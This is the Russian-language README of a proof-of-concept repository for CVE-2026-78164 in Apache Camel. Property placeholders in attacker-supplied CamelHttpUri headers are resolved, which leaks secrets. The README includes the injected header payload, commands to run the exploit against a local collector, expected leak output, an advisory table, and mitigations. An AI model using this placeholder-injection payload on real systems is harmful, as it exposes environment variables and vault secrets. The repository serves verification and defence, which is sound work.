
Рабочий proof-of-concept для CVE-2026-78164, демонстрирующий утечку секретов, когда HTTP-продюсеры Apache Camel разрешают заполнители свойств в заголовках CamelHttpUri, предоставленных злоумышленником.
Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой семейства HTTP-продюсеров позволяют
входящему сообщению переопределять URI эндпоинта через заголовки CamelHttpUri и CamelRestHttpUri, а затем передают
эту строку, полученную из сообщения, через CamelContext.resolvePropertyPlaceholders() перед её использованием.
Разрешение подстановок свойств — это механизм разрешения конфигурации, а не этап разбора URI. Он обращается
к переменным окружения операционной системы, системным свойствам JVM, каждой PropertiesFunction в classpath
(включая функции секретов AWS, Azure, GCP, HashiCorp, IBM, CyberArk и Kubernetes) и — через
camel-bean — к вызову метода без аргументов на любом бине в реестре. Применение этого к содержимому Exchange,
на которое может влиять атакующий, превращает строку URI в контекст вычисления конфигурации и бинов. Автор маршрута
не выбирал ничего из этого: достаточно было простого статического to("http://backend/api").
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (уязвим; исправлено в 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, уязвим) |
Это поведение предшествует ветке 4.x (оно восходит к camel-http4 / camel-netty4), поэтому уязвимы все затронутые выпуски и Camel 4.15.0 в последнем Camel Quarkus. Исправление поставляется в Camel 4.18.5 / 4.22.1 / 4.23.0; модуль Spring Boot запускает как уязвимую сборку (4.22.0), так и исправленную сборку (4.22.1). Ни один выпущенный Camel Quarkus пока не включает исправленный Camel.
Маршрут представляет собой простой статический to("http://127.0.0.1:9100/collect"), указывающий на локальный коллектор. Атакующий задаёт
заголовок CamelHttpUri как URI, содержащий токен подстановки свойства — не зная значения секрета, а лишь
указывая имя ключа:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
Приложение задаёт системное свойство JVM cve78164.secret, которое служит заменой любого значения конфигурации или секрета из хранилища. В уязвимой сборке продюсер разрешает плейсхолдер до отправки запроса, поэтому коллектор видит секрет в исходящем запросе. В исправленной сборке токен передаётся буквально.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
Ожидаемый вывод на затронутой сборке:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
В исправленной сборке коллектор вместо этого видит GET /collect?leak={{sys:cve78164.secret}} (буквально, без подстановки).
| Свойство | Значение |
|---|---|
| Компонент | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (Ненадлежащая нейтрализация специальных элементов, используемых в шаблонном движке), CWE-200 (Раскрытие информации) |
| Критичность | ВЫСОКАЯ |
| Вектор атаки | Заголовок переопределения CamelHttpUri / CamelRestHttpUri, содержащий токен {{...}}; тело/заголовки не ограничиваются bridgeEndpoint, а несколько потребителей заполняют CamelHttpUri из строки запроса как функцию обратного прокси |
| Воздействие | Раскрытие переменных окружения, системных свойств и секретов хранилища в исходящем запросе; вызов бинов реестра без аргументов; оракул установленных/неустановленных ключей конфигурации через отражаемую ошибку |
| Уязвимые версии | С 4.0.0 до 4.18.5, с 4.19.0 до 4.22.1 (поведение существовало и до 4.x) |
| Исправленные версии | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| Благодарность | [email protected] |
Рекомендация: https://camel.apache.org/security/CVE-2026-78164.html
Вызов resolvePropertyPlaceholders() для каждого сообщения удалён во всех затронутых местах, поэтому токен {{...}},
присутствующий только в CamelHttpUri или CamelRestHttpUri, теперь рассматривается как буквальная часть URI. Плейсхолдеры в
собственном URI эндпоинта маршрута не затронуты — они разрешаются один раз, во время сборки, при создании эндпоинта.
Удаляйте заголовки переопределения на границе доверия перед продюсером с помощью removeHeader("CamelHttpUri") и
removeHeader("CamelRestHttpUri"), либо установите skipControlHeaders=true на эндпоинтах camel-http (единственный компонент,
предлагающий такую опцию). bridgeEndpoint=true не является обходным решением. Применяйте строгую входящую HeaderFilterStrategy
на потребителях, доступных недоверенным отправителям, и разрешайте секреты через хранилище, а не через переменные окружения/системные
свойства, которые может указать плейсхолдер.
Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление её устраняет. «Секрет» — это инертный локальный фикстур. Не используйте этот материал против систем, которыми вы не владеете и не управляете.